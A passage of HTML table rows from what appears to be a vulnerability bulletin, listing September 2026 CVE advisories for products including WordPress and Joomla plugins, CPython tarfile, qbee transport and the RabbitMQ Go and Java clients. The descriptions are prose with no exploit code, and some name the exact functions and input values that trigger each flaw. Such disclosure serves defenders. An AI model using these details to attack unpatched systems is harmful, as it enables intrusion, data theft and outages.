&lt;td&gt;An issue in Prolink 13A Smart Plug Model Version: DS-3202M-UKv3 Wi-Fi and Application Version mEzee 2.6.7 allows attackers to cause a Denial of Service (DoS) or connection to an attacker-controlled device via supplying a crafted packet during the provisioning phase.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-66974&quot; target=&quot;_blank&quot;&gt;CVE-2025-66974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PunchIn-App--punchin-email&lt;/td&gt;
&lt;td&gt;punchin-email is a Cloudflare Email Worker that provides two-way role aliases while relaying mail to a private inbox. Prior to 1.5.0, handleInbound delivers inbound alias mail with message.forward(), which silently drops the added Reply-To header intended to route responses through the relay. When a correspondent sends mail to an alias and the operator replies, the mail client can send directly to the correspondent from the private FORWARD_TO inbox address, exposing that address. The disclosure is limited to the operator&#039;s own email address and does not expose third-party data or provide code execution or authentication bypass. This issue is fixed in version 1.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54649&quot; target=&quot;_blank&quot;&gt;CVE-2026-54649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PuppyFW--PuppyFW&lt;/td&gt;
&lt;td&gt;The PuppyFW WordPress plugin through 0.4.4 does not have proper authorisation on one of its REST routes, which tests the caller against a capability taken from the request itself, allowing any authenticated user, including subscribers, to add, modify and delete arbitrary blog options and thereby escalate their privileges.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88904&quot; target=&quot;_blank&quot;&gt;CVE-2026-88904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Python Software Foundation--CPython&lt;/td&gt;
&lt;td&gt;In CPython 3.13 and earlier, the tarfile&amp;nbsp;module&#039;s data&amp;nbsp;and tar extraction filters are vulnerable to crafted archives containing a hard link to a symbolic link. Such archives may cause extraction to modify the permissions or modification time of a file outside the destination directory, or expose the contents of that file within the extracted tree.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82049&quot; target=&quot;_blank&quot;&gt;CVE-2026-82049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qbee-io--transport&lt;/td&gt;
&lt;td&gt;qbee transport is a remote access transport protocol implementation. Prior to 1.26.25, the extractTar routine uses strictly lexical path validation that does not account for on-disk symlinks created earlier in the extraction process. A crafted tar archive can use a symlink chain to write or overwrite files one directory level above the intended extraction path. When qbee-agent performs the extraction with root privileges, this permits a root-privileged file write outside the intended destination. This issue is fixed in version 1.26.25.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55828&quot; target=&quot;_blank&quot;&gt;CVE-2026-55828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QNAP Systems Inc.--QcalAgent&lt;/td&gt;
&lt;td&gt;A cross-site scripting (XSS) vulnerability has been reported to affect QcalAgent. The local attackers can then exploit the vulnerability to bypass security mechanisms or read application data. We have already fixed the vulnerability in the following version: QcalAgent 1.1.9 and later&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-27123&quot; target=&quot;_blank&quot;&gt;CVE-2024-27123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qt--qt&lt;/td&gt;
&lt;td&gt;QDomDocument XML parsing is vulnerable to a remotely-triggerable denial-of-service crash when processing untrusted input.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19248&quot; target=&quot;_blank&quot;&gt;CVE-2026-19248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qt--qt&lt;/td&gt;
&lt;td&gt;Out-of-bounds read (buffer over-read) in the HTTP Cache-Control response header parsing in the QtNetwork module in Qt Group Qt 6.0.0 through 6.8.8, and 6.9.0 through 6.11.1, allows remote attackers to cause a denial of service (application crash) via an excessively large Cache-Control header value returned by an untrusted or compromised HTTP server to an application using QNetworkAccessManager. Only the client side of the connection is affected and 32-bit builds are not affected; the out-of-bounds access is read-only, with no information disclosure and no code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76151&quot; target=&quot;_blank&quot;&gt;CVE-2026-76151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QualitySoft Corporation--QND Premium&lt;/td&gt;
&lt;td&gt;QND uses a hard-coded cryptographic key, which may allow a local attacker who is logged in to a Windows PC where the affected product&#039;s client is installed to obtain administrator credentials, including an ID and password.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81326&quot; target=&quot;_blank&quot;&gt;CVE-2026-81326&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QualitySoft Corporation--QND Premium&lt;/td&gt;
&lt;td&gt;QND contains an improper access control vulnerability in a named pipe, which may allow a local attacker who is logged in to a Windows PC where the affected product&#039;s client is installed to execute arbitrary commands with SYSTEM privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84408&quot; target=&quot;_blank&quot;&gt;CVE-2026-84408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QUANTUMTECH LTD--Hide Photos - Secure vault&lt;/td&gt;
&lt;td&gt;The application protects access through its calculator-style vault passcode, but the stored data is not bound to that authentication boundary. A local actor who can access shared external storage, such as through an authorized non-root ADB shell or another local file-reading context with suitable storage access, can copy the SQLite database and media files directly without entering the vault passcode.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77875&quot; target=&quot;_blank&quot;&gt;CVE-2026-77875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Connection.openTune in connection.go accepts a server-advertised FrameMax below the AMQP frameMinSize value of 4096 bytes because the connection negotiation loop does not enforce the protocol minimum. A malicious or compromised AMQP broker can therefore advertise an extremely small FrameMax, causing later client publications to be fragmented into excessive numbers of frames and write operations. This can consume CPU and stall the client or its host. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77403&quot; target=&quot;_blank&quot;&gt;CVE-2026-77403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, URI.String in uri.go concatenates CertFile, KeyFile, CACertFile, and ServerName values directly into an AMQPS query string instead of encoding them as URL query parameters with url.Values. If an application accepts a TLS asset path containing ampersand or equals delimiters and later reparses the serialized URI with ParseURI, the embedded delimiters can create or overwrite connection options, including paths to TLS certificate, key, or CA files. This can corrupt connection configuration or select unintended local cryptographic assets. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77404&quot; target=&quot;_blank&quot;&gt;CVE-2026-77404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, tlsConfigFromURI in uri.go creates tls.Config values without setting MinVersion to tls.VersionTLS12. Builds using a Go runtime whose default permits TLS 1.0 or TLS 1.1 can therefore negotiate an obsolete protocol version when connecting through an amqps URI. A network attacker able to influence TLS negotiation with such a legacy build may weaken transport protection for AMQP messages and credentials. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77405&quot; target=&quot;_blank&quot;&gt;CVE-2026-77405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Channel.Qos in channel.go accepts negative prefetchCount and prefetchSize integers and casts them directly to uint16 and uint32 fields in the basic.qos method because validateQos is absent. Values such as -1 therefore wrap to 65535 or 4294967295 instead of being rejected. An application that permits untrusted configuration of these Qos values can unintentionally request extremely large prefetch limits, allowing a broker to deliver enough queued messages to exhaust client memory and disrupt processing. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77406&quot; target=&quot;_blank&quot;&gt;CVE-2026-77406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, PlainAuth values defined in auth.go retain passwords as exported plaintext fields in Connection.Config.SASL after a successful PLAIN authentication handshake. The Connection.openComplete method in connection.go does not clear those values. Code with access to the Connection object, including reflective loggers, application performance monitoring agents, debugging utilities, and panic handlers, can traverse the configuration and expose the credentials to logs or state captures. The credential remains available for the lifetime of the connection instead of being cleared after authentication. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77407&quot; target=&quot;_blank&quot;&gt;CVE-2026-77407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, the writeShortstr function in write.go casts the byte length of AMQP shortstr property values to uint8 without first rejecting values longer than 255 bytes. An application that accepts an oversized CorrelationId, ReplyTo, MessageId, Expiration, UserId, AppId, ContentType, ContentEncoding, or Type value can therefore serialize a wrapped length and only a truncated prefix, while reporting no error. The resulting silent metadata corruption can break request and reply correlation, routing, tracing, and downstream message processing. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77408&quot; target=&quot;_blank&quot;&gt;CVE-2026-77408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Channel.dispatch in channel.go, confirms.confirm in confirms.go, and Connection.dispatch0 in connection.go synchronously send publisher confirmations, flow-control events, consumer cancellations, returned messages, including NotifyConfirm events and connection block notifications, to application-provided channels. If a listener channel is unbuffered, full, or not drained promptly, the sole reader goroutine blocks and stops processing frames, acknowledgments, deliveries, and heartbeats. Broker-driven event bursts can therefore cause connection stalls, missed heartbeats, deadlocks, and disconnection. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77409&quot; target=&quot;_blank&quot;&gt;CVE-2026-77409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Channel.recvContent in channel.go preallocates the message body slice with the uint64 ch.header.Size value supplied by an AMQP content header without capping the allocation to the negotiated Connection.Config.FrameSize value. A malicious or compromised broker can send an extreme declared body size and cause the Go runtime to attempt a correspondingly large allocation before body data is received. The allocation can exhaust memory and terminate the client process. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77410&quot; target=&quot;_blank&quot;&gt;CVE-2026-77410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, readLongstr in read.go returns an empty string and a nil error when a declared AMQP longstr length exceeds 0x7FFFFFFF instead of returning ErrSyntax. The function leaves the declared field bytes unread, while readTable treats the operation as successful and continues parsing from the wrong offset. A malicious or compromised broker can provide an oversized longstr in a table field and desynchronize subsequent AMQP parsing, causing attacker-controlled trailing bytes to be interpreted as later fields or frames and disrupting connection integrity and availability. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77411&quot; target=&quot;_blank&quot;&gt;CVE-2026-77411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--amqp091-go&lt;/td&gt;
&lt;td&gt;RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, readField in read.go reads the length of an AMQP byte-array field with type tag x into a signed int32 and passes the value directly to make when allocating the field buffer. A malicious or compromised broker can encode a value such as 0xFFFFFFFF, which becomes -1 and causes a len out of range runtime panic. The panic escapes the network reader goroutine and terminates the client process, including during connection.start server properties or message header table parsing. This issue is fixed in version 1.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77412&quot; target=&quot;_blank&quot;&gt;CVE-2026-77412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rabbitmq--rabbitmq-java-client&lt;/td&gt;
&lt;td&gt;The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.34.0, AMQConnection.start() applies Math.min(maxInboundMessageBodySize, frameMax) after Connection.Tune negotiation even though AMQP defines frameMax value zero as unlimited and ConnectionFactory.DEFAULT_FRAME_MAX is zero. When the client default and server-negotiated value are both zero, the result is passed to Utils.framePayloadLimit(int), which interprets zero as Integer.MAX_VALUE and disables the configured maxInboundMessageBodySize cap. A malicious AMQP server, or a man-in-the-middle attacker able to modify Connection.Tune and inject frames into the connection, can then send an oversized frame of any frame type, causing Frame.readFrom() to allocate a large byte array before content-level validation and potentially terminate the client process through memory exhaustion. This issue is fixed in version 5.34.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75516&quot; target=&quot;_blank&quot;&gt;CVE-2026-75516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rakuten Kobo Inc.--The installer for Rakuten Kobo Desktop Application (Windows version)&lt;/td&gt;
&lt;td&gt;The installer for Rakuten Kobo Desktop Application (Windows version) insecurely loads Dynamic Link Libraries. If there is a crafted DLL at the same directory when invoking the affected installer, arbitrary code may be executed with the privileges of the user who performed the installation.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68955&quot; target=&quot;_blank&quot;&gt;CVE-2026-68955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Really Simple Security--Really Simple Security&lt;/td&gt;
&lt;td&gt;The Really Simple Security WordPress plugin before 9.8.3 does not validate a client-supplied address value before using it as a storage key in one of its own options, allowing unauthenticated attackers to grow that option without bound and to slow the site&#039;s handling of missing pages.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88798&quot; target=&quot;_blank&quot;&gt;CVE-2026-88798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Realtyna Organic IDX plugin + WPL Real Estate--Realtyna Organic IDX plugin + WPL Real Estate&lt;/td&gt;
&lt;td&gt;The Realtyna Organic IDX plugin + WPL Real Estate WordPress plugin before 5.4.2 does not sanitise and escape some of its parameters before reflecting them back in the page, allowing unauthenticated attackers to run arbitrary web scripts in a visitor&#039;s browser if they can trick the visitor into following a crafted link (reflected XSS).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91014&quot; target=&quot;_blank&quot;&gt;CVE-2026-91014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rede Ita for WooCommerce Payment PIX, Credit Card and Debit--Rede Ita for WooCommerce Payment PIX, Credit Card and Debit&lt;/td&gt;
&lt;td&gt;The Rede ItaÃº for WooCommerce - Payment PIX, Credit Card and Debit WordPress plugin before 5.4.7 does not verify the authenticity of its PIX payment webhook before updating an order&#039;s status, allowing unauthenticated attackers to mark a pending order as paid without paying.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92430&quot; target=&quot;_blank&quot;&gt;CVE-2026-92430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Advanced Module Manager (Free, Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Database data disclosure in Advanced Module Manager (Free, Pro) &amp;lt; 12.1.0, Conditional Content (Free, Pro) &amp;lt; 8.0.0, Content Templater (Pro) &amp;lt; 14.2.0, ReReplacer (Pro) &amp;lt; 16.2.0 for Joomla - The Conditions editor creates a default Condition Set name from the item to which the set is linked. The affected code accepts the database table and label-column names from the request. Although these names are quoted as SQL identifiers, they are not restricted to the tables and columns used by supported Regular Labs integrations. An attacker can therefore select a valid but unrelated database field. This is an authorization failure rather than SQL injection.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85188&quot; target=&quot;_blank&quot;&gt;CVE-2026-85188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Articles Anywhere (Free, Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Privileged stored XSS via link option in Articles Anywhere extension for Joomla &amp;lt; 20.0.0 - Articles Anywhere accepts link options such as onclick and onmouseover. In affected versions, those options become real HTML event attributes without checking the article author&#039;s trust level. The plugin syntax survives Joomla&#039;s normal Author content filter because the executable HTML is generated later.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85195&quot; target=&quot;_blank&quot;&gt;CVE-2026-85195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Articles Anywhere (Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Reflected XSS in Articles Anywhere extension for Joomla &amp;lt; 20.0.0, Users Anywhere extension for Joomla &amp;lt; 2.1.0 - Articles Anywhere Pro and Users Anywhere Pro return values from request-input data tags without making them safe for the context in which the tag is used. Joomla&#039;s string input filter does not make the same value safe for HTML text, an HTML attribute and a URL. A visitor-controlled request value can therefore become an executable URL or a new event attribute in output configured by a site author.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85196&quot; target=&quot;_blank&quot;&gt;CVE-2026-85196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Conditional Content Pro extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Authenticated, privileged remote code execution in Conditional Content extension for Joomla &amp;lt; 8.0.0 - Conditional Content Pro accepts inline PHP Condition Rules in article syntax. In affected versions, the PHP is passed to the Conditions evaluator without checking who authored the article. Joomla&#039;s normal Author text filter preserves the syntax, so publishing the article causes the code to run as the web-server process.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85192&quot; target=&quot;_blank&quot;&gt;CVE-2026-85192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Modals (Free, Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Privileged stored XSS via executable URL schemes in Modals extension for Joomla &amp;lt; 17.0.0 - Modals treats a destination using an executable browser URL scheme as an ordinary modal URL. The value can reach both the generated link and the iframe-loading path. Authored content can consequently become JavaScript in a visitor&#039;s browser without using Modals&#039; separate Pro JavaScript Events feature.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85189&quot; target=&quot;_blank&quot;&gt;CVE-2026-85189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Modals (Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Privileged stored XSS via event handler option in Modals Pro extension for Joomla &amp;lt; 17.0.0 - Modals Pro intentionally supports JavaScript Events such as on-open and on-closed. Affected versions do not distinguish trusted extension configuration from event code supplied in ordinary article content. A lower-privileged author can therefore use a documented executable feature which should be reserved for trusted authors.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88853&quot; target=&quot;_blank&quot;&gt;CVE-2026-88853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Quick Index (Free, Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Privileged stored XSS via class option in Quick Index extension for Joomla &amp;lt; 5.0.5 - Quick Index inserts configurable class values into generated HTML without escaping them for an HTML attribute. A crafted value can close the intended class attribute and introduce a new attribute. Joomla&#039;s content filter cannot reliably prevent this because Quick Index creates the executable HTML after the authored plugin syntax was filtered.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85190&quot; target=&quot;_blank&quot;&gt;CVE-2026-85190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Snippets (Free) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Privileged stored XSS via url option in Snippets Free extension for Joomla &amp;lt; 7.0.0, Snippets Pro extension for Joomla &amp;lt; 11.0.0 - Snippets substitutes variable values supplied by an article tag into saved Snippet content. The affected versions do not consider the article author&#039;s trust level. A lower-privileged author can therefore place an unsafe value into a security-sensitive position chosen by the trusted Snippet author.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88852&quot; target=&quot;_blank&quot;&gt;CVE-2026-88852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;regularlabs.com--Tabs &amp;amp; Accordions (Free, Pro) extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - regularlabs.com - Privileged stored XSS via rtla-alias option in Tabs &amp;amp; Accordions extension for Joomla &amp;lt; 3.1.0 - Tabs &amp;amp; Accordions rewrites links matching an item alias into calls to its browser API. The affected renderer places the alias inside a quoted JavaScript argument in an HTML onclick attribute without securing both the JavaScript-string and HTML-attribute contexts. A crafted data-rlta-alias value can therefore change the generated handler.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85191&quot; target=&quot;_blank&quot;&gt;CVE-2026-85191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RestroPress--RestroPress&lt;/td&gt;
&lt;td&gt;The RestroPress WordPress plugin through 3.4.6 does not verify ownership in its payment-recovery flow before acting on a request-supplied order identifier, allowing unauthenticated attackers to enumerate which orders are in a recoverable state and to write notes to another customer&#039;s order.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85009&quot; target=&quot;_blank&quot;&gt;CVE-2026-85009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;riganti--dotvvm&lt;/td&gt;
